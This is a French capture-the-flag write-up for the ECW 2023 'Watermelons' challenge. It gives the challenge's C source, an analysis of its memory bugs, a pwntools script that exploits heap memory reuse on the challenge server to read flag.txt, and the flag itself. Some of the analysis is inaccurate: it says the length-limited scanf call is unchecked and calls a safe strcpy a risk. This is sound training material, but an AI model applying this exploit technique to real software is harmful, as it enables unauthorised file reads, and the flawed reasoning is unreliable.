[ECW] - Watermelons
Sommaire
ECW 2023 - Cet article fait partie d'une série.
Enoncé #
Utilisation #
Lorsque nous utilisons le programme, nous accédons à un menu qui nous propose d’acheter une pastèque (choix 1
) ou d’afficher la dernière pastèque (choix 2
)
Si nous choisissons d’acheter une pastèque nous pourrons alors choisir sa variété, le nombre de pastèque qu’on va acheter et enfin si on veut les offrir à quelqu’un
Si on décide de les offrir à quelqu’un, on peut alors choisir 3 enveloppes pour contenir notre message personnalisé :
- Petite enveloppe = 16 octets
- Moyenne enveloppe = 32 octets
- Grande enveloppe = 64 octets
Code source #
Dans ce challenge on nous donne également le code source de l’application :
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct {
char watermelon[32];
char recipient[16];
unsigned int msg_size;
char* msg;
} Gift;
char* watermelons[] = {
"Classic Watermelon",
"Seedless Watermelon",
"Yellow Watermelon",
"Sugar Baby Watermelon",
"Mini Watermelon"
};
const char n_watermelons = 5;
char *watermelon_file = NULL;
void gift_watermelon(char *watermelon_name) {
int choice;
unsigned int msg_size;
Gift* gift = (Gift *)malloc(sizeof(Gift));
memset(gift, 0, sizeof(Gift));
strncpy(gift->watermelon, watermelon_name, strlen(watermelon_name));
printf("\nWe have three different sizes of envelopes for a custom message:\n");
printf("1. Small (16 bytes)\n");
printf("2. Medium (32 bytes)\n");
printf("3. Large (64 bytes)\n\n");
printf("Which one would you like? ");
scanf("%d", &choice);
getchar();
if (choice < 1 || choice > 3) {
printf("Invalid envelope choice!");
free(gift);
return;
}
msg_size = 16 * (1 << (choice - 1));
gift->msg_size = msg_size;
printf("Who's the lucky recipient of this watermelon? ");
scanf("%16s", gift->recipient);
getchar();
gift->msg = (char *)malloc(gift->msg_size);
memset(gift->msg, 0, gift->msg_size);
printf("Enter your message: ");
fread(gift->msg, 1, msg_size, stdin);
printf("Thank you for your purchase. We will carefully transport your gift to %s!\n", gift->recipient);
printf("Message: %.*s\n\n", gift->msg_size, gift->msg);
free(gift->msg);
free(gift);
}
void buy_watermelon() {
int choice;
printf("\nA wide variety of watermelons awaits you:\n");
for (int i = 0; i < n_watermelons; i++) {
printf("%d. %s\n", i + 1, watermelons[i]);
}
printf("\nEnter the number of the watermelon you want to buy: ");
scanf("%d", &choice);
getchar();
if (choice < 1 || choice > n_watermelons) {
printf("Invalid watermelon choice!\n");
return;
}
printf("Would you like to make this a gift for someone? (y/n) ");
int is_gift = getchar();
getchar();
if ((char)is_gift == 'y') {
gift_watermelon(watermelons[choice - 1]);
} else {
printf("Thank you for purchasing a %s!\n\n", watermelons[choice - 1]);
}
}
void show_watermelon() {
FILE *fptr;
int c;
if (watermelon_file == NULL) {
watermelon_file = (char *)malloc(32);
strcpy(watermelon_file, "watermelon.txt");
}
fptr = fopen(watermelon_file, "r");
if (!fptr) {
printf("Problem opening watermelon file (%s)\n", watermelon_file);
return;
}
while ((c = fgetc(fptr)) != EOF) {
printf("%c", c);
};
fclose(fptr);
}
void exit_shop() {
printf("Goodbye!\n");
exit(0);
}
int main() {
int choice;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while (1) {
printf("========== Romy's Watermelons ==========\n");
printf(">>>> Welcome, traveler, to my shop! <<<<\n");
printf("1. Buy a watermelon\n");
printf("2. Show the latest watermelon\n");
printf("3. Exit\n");
printf("========================================\n");
printf("Enter your choice: ");
scanf("%d", &choice);
getchar();
switch (choice) {
case 1:
buy_watermelon();
break;
case 2:
show_watermelon();
break;
case 3:
exit_shop();
default:
printf("Invalid choice!\n");
}
}
return 0;
}
Analyse du code source #
Voici ce que fait le programme :
- Structure Gift :
- Définition d’une structure
Gift
qui représente un cadeau avec les propriétés suivantes :watermelon
: le nom de la pastèque (32 octets)recipient
: le nom du destinataire du cadeau (16 octets)msg_size
: la taille du message personnalisé (2 ou 4 octets)msg
: le message personnalisé (entre 16 et 64 octets)
- Définition d’une structure
- Liste de pastèques :
- Une liste prédéfinie de cinq types de pastèques
- Fonction gift_watermelon :
- Demande à l’utilisateur de choisir une pastèque parmi la liste
- Permet à l’utilisateur de choisir la taille du message personnalisé (entre 16 et 64 octets)
- Demande le nom du destinataire et lit un message personnalisé
- Utilise des allocations dynamiques pour stocker les informations de cadeau
- Fonction buy_watermelon :
- Affiche la liste des pastèques disponibles
- Demande à l’utilisateur de choisir une pastèque à acheter
- Propose à l’utilisateur de faire de l’achat une surprise (cadeau) en appelant
gift_watermelon
- Fonction show_watermelon :
- Lit le contenu d’un fichier texte (supposé contenir des informations sur la pastèque) et l’affiche
- Le nom du fichier est stocké dans
watermelon_file
, qui est initialisé à “watermelon.txt”
- Fonction exit_shop :
- Affiche un message de départ et termine le programme
- Fonction main :
- Boucle principale du programme
- Affiche un menu avec trois options : acheter une pastèque, montrer la dernière pastèque et quitter
- Demande à l’utilisateur de choisir une option et exécute la fonction appropriée en fonction du choix de l’utilisateur
On remarque 3 choses importantes :
- Lors de la saisie du nom du destinataire dans
scanf("%16s", gift->recipient);
, il n’y a pas de contrôle sur la longueur de la saisie. Si l’utilisateur entre plus de 16 caractères, cela provoquera un dépassement de tampon (buffer overflow) dansgift->recipient
- Lorsqu’un cadeau est créé la mémoire est bien libérée pour la structure dans
free(gift)
mais les pointeurs ne sont pas remis àNULL
ce qui veut dire qu’un utilisateur qui crée plusieurs cadeaux va réécrire par dessus le premier - L’allocation de mémoire pour
watermelon_file
n’est pas sécurisée. La taille allouée est de 32 octets, mais la fonctionstrcpy
est utilisée pour copier “watermelon.txt”, qui a une longueur de 13 caractères. Cela peut causer un dépassement de tampon s’il y a une modification future de la longueur du nom du fichier.
Exploitation de la faille #
On va commencer par créer un cadeau et lui allouer une enveloppe de 16 octets où on écrira ce qu’on veut, dans la mémoire on obtient donc ceci :
Puis on affichera la pastèque, le programme va donc ajouter 32 octets pour lire le contenu du fichier watermelon.txt
, en mémoire on a donc :
Mais maintenant si on crée un deuxième cadeau et qu’on lui donne une enveloppe de 64 octets, ces 64 octets vont déborder sur le buffer de l’ancien message msg
(qui faisait 16 octets) ainsi que sur le buffer watermelon_file
(qui contient le nom du fichier watermelon.txt
) et sur une autre partie de la mémoire, on a donc :
Depuis le buffer recipient
on peut donc écrire sur le buffer msg
ainsi que sur le buffer watermelon_file
et sur une autre partie de la mémoire
Un utilisateur pourrait donc changer le nom du fichier contenu dans le buffer watermelon_file
et afficher n’importe quel fichier présent sur la machine (flag.txt
par exemple 😉)
Flag #
C’est ce qu’on va faire en écrivant un programme qui :
- Créer un cadeau avec une enveloppe de 16 octets → en mémoire une structure
Gift
est créée - Affiche la pastèque → en mémoire ajoute 32 octets pour le buffer
watermelon_file
- Créer un cadeau avec une enveloppe de 64 octets
- Ecrit dans les buffer
msg
etwatermelon_file
pour remplacer le nom du fichier à afficher
from pwn import *
def main():
r = remote("instances.challenge-ecw.fr", 42618)
# Buy a watermelon
r.sendline(b"1")
# Select a variety (doesn't matter at all)
r.sendline(b"1")
# Yes make a gift
r.sendline(b"y")
# Select an enveloppe size of 16 bytes
r.sendline(b"1")
# Recipient name (doesn't matter here)
r.sendline(b"ecw2023")
# Message (doesn't matter here either)
r.sendline(b"A"*15)
# Show watermelon
r.sendline(b"2")
# Buy a watermelon again
r.sendline(b"1")
# Select a variety (doesn't matter at all)
r.sendline(b"1")
# Yes make a gift
r.sendline(b"y")
# Select an enveloppe size of 64 bytes
r.sendline(b"3")
# Here we fullfill the recipient buffer
r.sendline(b"A"*16)
# Here we are writing 64 bytes in a 16 bytes buffer on the heap
r.send(b"A"*32) # The first 32 bytes doesn't matter until we reach the filename buffer
r.send(b"flag.txt") # We inject "flag.txt" in the filename buffer
r.send(b"\x00") # It's important to add a null byte so the program won't read anything else than "flag.txt"
r.sendline(b"A"*23) # Filling the last bytes to read the whole 64 bytes
# Print the flag (cause now the program will print "flag.txt")
r.sendline(b"2")
# Exit
r.sendline(b"3")
r.interactive()
if __name__ == "__main__":
main()
Voici un petit aperçu live de l’exploit :
🚩 Flag : ECW{r0mys_w4t3rm3l0ns_d353rv3_a_5-st4r_r3v13w}